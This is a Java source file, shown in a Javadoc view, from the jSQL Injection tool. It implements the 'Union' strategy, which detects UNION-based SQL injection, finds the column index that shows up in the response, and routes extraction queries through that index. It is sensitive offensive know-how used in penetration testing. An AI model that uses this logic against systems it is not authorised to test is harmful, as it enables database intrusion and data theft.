View Javadoc
1   package com.jsql.model.injection.strategy;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.bean.util.Interaction;
6   import com.jsql.model.bean.util.Request;
7   import com.jsql.model.exception.JSqlException;
8   import com.jsql.model.injection.vendor.model.VendorYaml;
9   import com.jsql.model.suspendable.AbstractSuspendable;
10  import com.jsql.model.suspendable.SuspendableGetIndexes;
11  import com.jsql.util.I18nUtil;
12  import com.jsql.util.LogLevelUtil;
13  import com.jsql.util.StringUtil;
14  import org.apache.commons.lang3.StringUtils;
15  import org.apache.logging.log4j.LogManager;
16  import org.apache.logging.log4j.Logger;
17  
18  import java.util.ArrayList;
19  import java.util.Arrays;
20  import java.util.Comparator;
21  import java.util.List;
22  import java.util.regex.Pattern;
23  
24  public class StrategyUnion extends AbstractStrategy {
25      
26      private static final Logger LOGGER = LogManager.getRootLogger();
27  
28      protected String visibleIndex;  // matching index
29      protected String sourceIndexesFound = StringUtils.EMPTY;  // matching page source
30      private int nbIndexesFound = 0;
31  
32      private String performanceLength = "0";
33      
34      public StrategyUnion(InjectionModel injectionModel) {
35          super(injectionModel);
36      }
37  
38      @Override
39      public void checkApplicability() throws JSqlException {
40          if (this.injectionModel.getMediatorUtils().getPreferencesUtil().isStrategyUnionDisabled()) {
41              LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
42              return;
43          }
44  
45          this.logChecking();
46  
47          this.injectionModel.setIndexesInUrl(new SuspendableGetIndexes(this.injectionModel).run());
48  
49          // Define visibleIndex, i.e, 2 in "..union select 1,2,..", if 2 is found in HTML body
50          if (StringUtils.isNotEmpty(this.injectionModel.getIndexesInUrl())) {
51              this.visibleIndex = this.getVisibleIndex(this.sourceIndexesFound);
52          }
53          
54          this.isApplicable = StringUtils.isNotEmpty(this.injectionModel.getIndexesInUrl())
55              && Integer.parseInt(this.injectionModel.getMediatorStrategy().getUnion().getPerformanceLength()) > 0
56              && StringUtils.isNotBlank(this.visibleIndex);
57          
58          if (this.isApplicable) {
59              LOGGER.log(
60                  LogLevelUtil.CONSOLE_SUCCESS,
61                  "{} [{}] at index [{}] showing [{}] characters",
62                  () -> I18nUtil.valueByKey("LOG_VULNERABLE"),
63                  this::getName,
64                  () -> this.visibleIndex,
65                  () -> this.performanceLength
66              );
67              this.allow();
68          } else {
69              this.unallow();
70          }
71      }
72  
73      @Override
74      public void allow(int... i) {
75          this.injectionModel.appendAnalysisReport(
76              StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
77              + this.injectionModel.getReportWithIndexes(
78                  this.injectionModel.getMediatorVendor().getVendor().instance().sqlUnion(StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"), "0", true),
79                  "metadataInjectionProcess"
80              )
81          );
82          this.markVulnerability(Interaction.MARK_UNION_VULNERABLE);
83      }
84  
85      @Override
86      public void unallow(int... i) {
87          this.markVulnerability(Interaction.MARK_UNION_INVULNERABLE);
88      }
89  
90      @Override
91      public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) {
92          return this.injectionModel.injectWithIndexes(
93              this.injectionModel.getMediatorVendor().getVendor().instance().sqlUnion(sqlQuery, startPosition, false),
94              metadataInjectionProcess
95          );
96      }
97  
98      @Override
99      public void activateWhenApplicable() {
100         if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
101             LOGGER.log(
102                 LogLevelUtil.CONSOLE_INFORM,
103                 "{} [{}]",
104                 () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
105                 this::getName
106             );
107             this.injectionModel.getMediatorStrategy().setStrategy(this);
108 
109             var request = new Request();
110             request.setMessage(Interaction.MARK_UNION_STRATEGY);
111             this.injectionModel.sendToViews(request);
112         }
113     }
114     
115     /**
116      * Runnable class, search the most efficient index.<br>
117      * Some indexes will display a lots of characters, others won't,
118      * so sort them by order of efficiency:<br>
119      * find the one that displays the most number of characters.
120      * @return Integer index with most efficiency and visible in source code
121      */
122     public String getVisibleIndex(String firstSuccessPageSource) {
123         // Parse all indexes found
124         // Fix #4007 (initialize firstSuccessPageSource to empty String instead of null)
125         String regexAllIndexes = String.format(VendorYaml.FORMAT_INDEX, "(\\d+?)");
126         var regexSearch = Pattern.compile("(?s)"+ regexAllIndexes).matcher(firstSuccessPageSource);
127         
128         List<String> foundIndexes = new ArrayList<>();
129         while (regexSearch.find()) {
130             foundIndexes.add(regexSearch.group(1));
131         }
132 
133         String[] indexes = foundIndexes.toArray(new String[0]);
134 
135         // Make url shorter, replace useless indexes from 1337[index]7331 to 1
136         String regexAllExceptIndexesFound = String.format(
137             VendorYaml.FORMAT_INDEX,
138             "(?!"+ String.join("|", indexes) +"7331)\\d*"
139         );
140         String indexesInUrl = this.injectionModel.getIndexesInUrl().replaceAll(regexAllExceptIndexesFound, "1");
141 
142         // Replace correct indexes from 1337(index)7331 to
143         // ==> ${lead}(index)######...######
144         // Search for index that displays the most #
145         String performanceQuery = this.injectionModel.getMediatorVendor().getVendor().instance().sqlCapacity(indexes);
146         String performanceSourcePage = this.injectionModel.injectWithoutIndex(performanceQuery, "union#size");
147 
148         // Build a 2D array of string with:
149         //     column 1: index
150         //     column 2: # found, so #######...#######
151         regexSearch = Pattern.compile("(?s)"+ DataAccess.LEAD +"(\\d+)("+ VendorYaml.CALIBRATOR_SQL +"+)").matcher(performanceSourcePage);
152         List<String[]> performanceResults = new ArrayList<>();
153         while (regexSearch.find()) {
154             performanceResults.add(new String[]{regexSearch.group(1), regexSearch.group(2)});
155         }
156 
157         if (performanceResults.isEmpty()) {
158             this.performanceLength = "0";
159             return null;
160         }
161         
162         // Switch from previous array to 2D integer array
163         //     column 1: length of #######...#######
164         //     column 2: index
165         var lengthFields = new Integer[performanceResults.size()][2];
166         
167         for (var i = 0 ; i < performanceResults.size() ; i++) {
168             lengthFields[i] = new Integer[] {
169                 performanceResults.get(i)[1].length() + performanceResults.get(i)[0].length(),
170                 Integer.parseInt(performanceResults.get(i)[0])
171             };
172         }
173 
174         // Sort by length of #######...#######
175         Arrays.sort(lengthFields, Comparator.comparing((Integer[] s) -> s[0]));
176         Integer[] bestLengthFields = lengthFields[lengthFields.length - 1];
177         this.performanceLength = bestLengthFields[0].toString();
178 
179         // Reduce all others indexes
180         String regexAllIndexesExceptBest = String.format(
181             VendorYaml.FORMAT_INDEX,
182             "(?!"+ bestLengthFields[1] +"7331)\\d*"
183         );
184         indexesInUrl = indexesInUrl.replaceAll(regexAllIndexesExceptBest, "1");
185         
186         this.injectionModel.setIndexesInUrl(indexesInUrl);
187         
188         return Integer.toString(bestLengthFields[1]);
189     }
190     
191     
192     // Getters and setters
193     
194     @Override
195     public String getPerformanceLength() {
196         return this.performanceLength;
197     }
198     
199     @Override
200     public String getName() {
201         return "Union";
202     }
203 
204     public String getVisibleIndex() {
205         return this.visibleIndex;
206     }
207 
208     public void setVisibleIndex(String visibleIndex) {
209         this.visibleIndex = visibleIndex;
210     }
211 
212     public void setSourceIndexesFound(String sourceIndexesFound) {
213         this.sourceIndexesFound = sourceIndexesFound;
214     }
215 
216     public int getNbIndexesFound() {
217         return this.nbIndexesFound;
218     }
219 
220     public void setNbIndexesFound(int nbIndexesFound) {
221         this.nbIndexesFound = nbIndexesFound;
222     }
223 }